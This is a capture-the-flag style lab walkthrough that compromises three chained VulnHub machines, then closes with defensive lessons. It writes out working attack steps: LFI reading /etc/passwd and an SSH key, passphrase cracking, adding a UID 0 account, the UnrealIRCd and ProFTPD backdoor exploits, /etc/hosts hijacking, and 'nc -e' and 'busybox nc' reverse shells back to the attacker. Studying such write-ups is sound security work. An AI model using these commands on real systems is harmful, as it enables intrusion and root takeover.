Vulnerable Lab (1 · 4 · 5)
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. A lab of three network-chained machines (VulnHub Vulnerable 1, 4 and 5). The attacker only reaches the first segment; each host is dual-homed and bridges to the next, so the chain is walked by pivoting with Ligolo-ng. Vulnerable1 (doctor): an LFI in Docmed readsadmin'sid_rsa,ssh2john+johnrecover the passphrase (unicorn) and a writable/etc/passwdgives root; its 2nd NIC opens11.0.0.0/24. Vulnerable4 (real): the UnrealIRCd 3.2.8.1 backdoor (CVE-2010-2075) gives a shell asserver, and pspy reveals a root cron that resolves a domain via a writable/etc/hosts, which is hijacked to receive root; its 2nd NIC opens10.0.0.0/24. Vulnerable5 (vtcsec): the ProFTPD 1.3.3c backdoor (HELP ACIDBITCHEZ, CVE-2010-4221) runs as root with no authentication, closing the chain.
Network layout
The environment is three machines chained by network. The attacker only reaches the first segment; each host is dual-homed and bridges to the next. Vulnerable1 connects 192.168.1.0/24 to 11.0.0.0/24; Vulnerable4, 11.0.0.0/24 to 10.0.0.0/24; and Vulnerable5 lives there. The lab's through-line is nested pivoting: each compromised machine is not only rooted but becomes the springboard to the next.

Vulnerable1: LFI to SSH and writable /etc/passwd
Recon
A full port scan and version detection on the first target, 192.168.1.135.
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.135PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.1.135 -oN targetedScan22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: DocmedApache 2.4.38 has no direct critical CVE, so the focus is the Docmed web app. SSH 7.9p1 is a bit old (usable for user enumeration), but it won't be needed.
LFI in the include parameter
Browsing the site, resources load through an include parameter pointing at the displayed file (doctor-item.php?include=...). That pattern invites a Local File Inclusion test: we aim at /etc/passwd with a path-traversal sequence.

http://192.168.1.135/doctor-item.php?include=../../../../../../../../etc/passwdIt works: /etc/passwd is read and the user admin shows up (admin:x:1000:1000). Since SSH is open, the natural next target is its private key.
http://192.168.1.135/doctor-item.php?include=../../../../../../../../home/admin/.ssh/id_rsa
Cracking the id_rsa passphrase
The key exists and is readable, but it is encrypted (Proc-Type: 4,ENCRYPTED). We convert it to a hash with ssh2john and dictionary-attack it with john.
ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hashLoaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
unicorn (id_rsa)
1g 0:00:00:00 DONE ... Session completed.The passphrase is unicorn. With correct permissions on the key, we log in over SSH as admin.
chmod 600 id_rsa
ssh -i id_rsa admin@192.168.1.135
cat /home/admin/user.txt0819e6dfb35db7c61353e4dce311b397Writable /etc/passwd: instant root
We look by hand for critical files writable by our user, starting with /etc/passwd:
find / -writable -type f 2>/dev/null | grep -v '/proc/'
ls -l /etc/passwdThe file shows up with a write bit: /etc/passwd is writable. We also push LinPEAS (repo) with an HTTP server, which reaches the same finding and flags it as critical:
# attacker
python3 -m http.server 80
# victim
wget http://192.168.1.80/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh
Hashes inside passwd file? ........... No
Writable passwd file? ................ /etc/passwd is writable
Credentials in fstab/mtab? ........... No
Can I read shadow files? ............. No/etc/passwd should be read-only except for root. If an unprivileged user can write to it, they can add their own account with UID/GID 0 (equivalent to root) and a known password. We generate the hash with openssl passwd, append the line and su.
pw=$(openssl passwd Password123)
echo "r00t:${pw}:0:0:root:/root:/bin/bash" >> /etc/passwd
su r00t
cat /root/root.txt
dfde8cc67ed8819b2386dc74e472ecc6We are root on Vulnerable1.
Pivoting to 11.0.0.0/24
As root, ip a shows a second interface (ens35) on the internal segment 11.0.0.2/24, which the attacker cannot reach directly. A ping sweep from the victim discovers a live host: 11.0.0.128 (which will be Vulnerable4).
for i in $(seq 0 254); do timeout 0.2 ping -c 1 11.0.0.$i &>/dev/null && echo "[+] 11.0.0.$i UP"; doneTo enumerate it with the attacker's tools, we set up a tunnel with Ligolo-ng (repo). The proxy runs on the attacker (exposes a TUN interface); the agent runs on the victim and connects back to the proxy (avoiding inbound connections into the internal network).
# attacker: download and prepare the tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy --selfcert --laddr 0.0.0.0:1234
# victim
./agent --connect 192.168.1.80:1234 --ignore-certIn the proxy console we select the session and start the tunnel.

ligolo-ng » INFO[0007] Agent joined. name=root@doctor remote="192.168.1.135:41464"
ligolo-ng » session
? Specify a session : 1 - root@doctor - 192.168.1.135:41464 - 000c297b8491
[Agent : root@doctor] » start
INFO[0020] Starting tunnel to root@doctor (000c297b8491)All that remains is to tell the system that 11.0.0.0/24 is reachable through the tunnel interface, and check connectivity.
sudo ip route add 11.0.0.0/24 dev ligolo
ping 11.0.0.128With the route added, the internal segment is reachable from the attacker as if it were local. The proof that the tunnel works is not the ping but what comes right after: the scan of 11.0.0.128 returns open ports, and that can only happen if traffic is crossing. The compromise continues on Vulnerable4.
Vulnerable4: UnrealIRCd backdoor and a cron with /etc/hosts
Recon (through the tunnel)
Vulnerable4 lives at 11.0.0.128, reachable thanks to Vulnerable1's tunnel. We scan through it.

nmap -sS -n -Pn -p- --min-rate 5000 --open 11.0.0.128
nmap -p22,80,6667,6697,8067 -sCV 11.0.0.128 -oN targetedScan22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open http Apache httpd 2.4.38 ((Debian)) (Debian default page)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd (SSL)
8067/tcp open irc UnrealIRCdThree IRC ports serving UnrealIRCd. The web is the default Apache page. UnrealIRCd 3.2.8.1 carries a famous backdoor, so that is the vector.
UnrealIRCd 3.2.8.1 backdoor (CVE-2010-2075)
In 2010 the official UnrealIRCd 3.2.8.1 tarball was trojanised: the code includes a backdoor that runs any string following a specific prefix as a system command, without authentication (CVE-2010-2075, CVSS 10). searchsploit unrealircd confirms it; we use a GitHub exploit that automates sending the payload.
git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor
cd UnrealIRCd-3.2.8.1-BackdoorSince the callback must cross the tunnel, we first set up a Ligolo-ng listener forwarding 4444 on the internal network to 4444 on the attacker, and tweak the exploit so the reverse shell points at 11.0.0.2 (Vulnerable1, the first pivot).
[Agent: root@doctor] >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444# exploit.py
local_ip = '11.0.0.2'
local_port = '4444'We fire the exploit at the IRC port and get a shell as server.
python3 exploit.py -payload bash 11.0.0.128 6667
Exploit sent successfully!
[+] Got reverse shell from real ... server@real:~/irc/Unreal3.2$ whoami
serverWe read the user flag (cat user.txt) and move on to escalation.
pspy: a cron that resolves a domain
We transfer pspy64 (repo) (through the port forward via Vulnerable1) and monitor processes. A root cron shows up running /opt/task, which in turn launches ping -c 1 shelly.real.nyx.
wget http://11.0.0.2:8080/pspy64; chmod +x pspy64; ./pspy64
CMD: UID=0 PID=10578 /usr/sbin/CRON -f
CMD: UID=0 PID=10579 /bin/sh -c /opt/task
CMD: UID=0 PID=10580 /bin/bash /opt/task
CMD: UID=0 PID=10581 timeout 1 bash -c /usr/bin/ping -c 1 shelly.real.nyxHijacking resolution with a writable /etc/hosts
Reading /opt/task clarifies the logic: it pings the domain shelly.real.nyx and, if it answers, runs nc -e /usr/bin/sh shelly.real.nyx 65000, i.e. a reverse shell to that domain on port 65000. Since the script runs from root's cron, that shell would be root's, except the domain does not resolve... unless we control its resolution. And here /etc/hosts is writable: we overwrite it so shelly.real.nyx points to 11.0.0.2 (which Ligolo's forward carries to our attacker).
cat /opt/task
echo '11.0.0.2 shelly.real.nyx' > /etc/hosts
We set up the return listener (65000 internal → 65000 attacker) and wait for cron to fire.
[Agent: root@doctor] >> listener_add --addr 0.0.0.0:65000 --to 127.0.0.1:65000rlwrap nc -nlvp 65000When cron runs /opt/task, the ping to shelly.real.nyx now answers (it is us), so it launches the nc back and a root shell drops in. We fix the TTY and read the flag.
cat /root/root.txt
593ba7e2d1e66b12e1488d6ea30c8787Chained pivoting to 10.0.0.0/24
As seen in the previous screenshot, real has a second interface (ens35) on 10.0.0.2/24. A ping sweep discovers 10.0.0.128 (Vulnerable5). We deploy a second Ligolo-ng agent on Vulnerable4, chaining the tunnel: the agent connects to 11.0.0.2:1234, which a listener_add forwards to the attacker's proxy.
# on Vulnerable4
wget http://11.0.0.2:8080/agent -O /tmp/agent; chmod +x /tmp/agent
./agent --connect 11.0.0.2:1234 --ignore-cert
# on the attacker
sudo ip route add 10.0.0.0/24 dev ligolo
ping 10.0.0.128
[Agent : root@doctor] » stop
INFO[2873] Closing tunnel to root@doctor (000c297b8491)...
[Agent : root@real] » session
? Specify a session : 2 - root@real - 127.0.0.1:43914 - 000c29f62298
[Agent : root@real] » start
INFO[2880] Starting tunnel to root@real (000c29f62298)With the route added, the third segment is reachable just like the previous one. Again, what proves it is not the ping but the scan that follows: if 10.0.0.128 returns ports, the second tunnel is carrying the traffic. The compromise ends on Vulnerable5.
Vulnerable5: ProFTPD backdoor
Recon
Vulnerable5 lives at 10.0.0.128, reachable through the second tunnel built from Vulnerable4. It is the third and last segment of the chain.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 10.0.0.128
nmap -p21,22,80 -sCV 10.0.0.128 -oN targetedScan21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, LinuxPort 21 gives it away: ProFTPD 1.3.3c. That specific version carries a backdoor in its source code, turning it into direct root access.
Access as root: ProFTPD 1.3.3c backdoor
As with UnrealIRCd on Vulnerable4, ProFTPD 1.3.3c shipped with a trojanised source tree. The backdoor triggers by sending the string HELP ACIDBITCHEZ to the FTP service: from then on, the server runs whatever you type as system commands, with the process's privileges, which here is root. It needs no authentication and no later escalation (associated with CVE-2010-4221, CVSS 10).
We connect to the FTP with netcat, send the magic string and try whoami: it answers root.
nc -vn 10.0.0.128 21
# inside the FTP session:
HELP ACIDBITCHEZ
whoami
hostname
220 ProFTPD 1.3.3c Server (vtcsec) [10.0.0.128]
HELP ACIDBITCHEZ
whoami
root
hostname
vtcsecWe already have execution as root. To close the pivoting scenario with a visible last hop, we fire a reverse shell to the attacker. Since we are two segments deep, we set up a listener_add in Ligolo-ng forwarding the internal 4443 to the attacker's 4443, and trigger a busybox nc toward 10.0.0.2 (Vulnerable4, the second pivot).
[Agent: root@real] >> listener_add --addr 0.0.0.0:4443 --to 127.0.0.1:4443On the attacker, nc receives the forwarded connection on 4443:
nc -nlvp 4443# through the backdoor
busybox nc 10.0.0.2 4443 -e bash
# nc -vn 10.0.0.128 21
(UNKNOWN) [10.0.0.128] 21 (ftp) open
220 ProFTPD 1.3.3c Server (vtcsec) [10.0.0.128]
HELP ACIDBITCHEZ
whoami
root
hostname
vtcsecThe shell arrives as root. In this case the box has no root flag; the identity (vtcsec, whoami=root) confirms the compromise.
Alternative vector: nmap NSE
With direct access to the box (no tunnel in between), the same backdoor is exploited with nmap's ftp-proftpd-backdoor NSE script, which confirms and exploits in a single command. First we check for its presence:
nmap -p21 --script "ftp-vsftpd-backdoor,ftp-proftpd-backdoor" <ip> -oN targetedScanThen we run it passing the reverse-shell command as an argument. With Penelope listening on 4444:
penelope 4444nmap -p21 --script ftp-proftpd-backdoor \
--script-args cmd="busybox nc <attacker> 4444 -e bash" <ip>
[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from vtcsec~192.168.1.153-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
root@vtcsec:/# whoami
rootThe connection arrives just the same as root@vtcsec, showing that both vectors (manual with netcat and automated with NSE) exploit the same backdoor with identical results. This completes the compromise of all three lab segments.
Attack chain
[192.168.1.0/24] Vulnerable1 (doctor)
Docmed (:80) → LFI in include ── /etc/passwd (admin) + encrypted id_rsa
└─ ssh2john + john (rockyou) ── passphrase "unicorn" ── SSH as admin
└─ LinPEAS: writable /etc/passwd ── UID 0 user ── su ── root
└─ 2nd NIC (11.0.0.2) ── Ligolo-ng ─────────────────────┐
▼
[11.0.0.0/24] Vulnerable4 (real)
UnrealIRCd 3.2.8.1 (:6667) → backdoor CVE-2010-2075 ── shell as server
└─ pspy: root cron runs /opt/task (ping shelly.real.nyx -> nc :65000)
└─ writable /etc/hosts ── domain = 11.0.0.2 (via pivot) ── root
└─ 2nd NIC (10.0.0.2) ── second Ligolo-ng ──────────────┐
▼
[10.0.0.0/24] Vulnerable5 (vtcsec)
ProFTPD 1.3.3c (:21) → backdoor "HELP ACIDBITCHEZ" ── execution as root (no auth)
└─ busybox nc through the two chained pivots ── root shell on the attackerLessons learned
- Pivoting starts by looking at the interfaces. A compromised host's second NIC is the key to the next segment; Ligolo-ng makes it reachable without
proxychains, with a simple route to the TUN. And it chains: by reusing a pivot's listeners as forwards, the next host's agent reaches the proxy without a direct connection. Here it is three segments and two nested tunnels. - An
includewith no allowlist is LFI, and an LFI that reachesid_rsais access. Blocking/etc/passwdis not enough: any file readable by the web process (keys, configs, logs) is exposed. Validate against an allowlist of resources and disableallow_url_include. And an encrypted private key is not safe if the passphrase is weak:ssh2john+ a common wordlist opens it in seconds. - The supply chain is attack surface too. The UnrealIRCd 3.2.8.1 and ProFTPD 1.3.3c backdoors were not bugs but trojanised tarballs on the official sites. Two different services, the same pattern: verifying hashes of what you install is not paranoia.
- Permission flaws = root with no exploit. A writable
/etc/passwd(add a UID 0 account) and a writable/etc/hosts(hijack the resolution of a domain a root cron trusts) both give root without a single software vulnerability. Audit critical file permissions (644, owned by root). - When the service runs as root, there is no escalation. Vulnerable5's FTP runs the backdoor with UID 0, so initial access is already maximum privilege. Exposed services should run with the least privilege possible, never as root.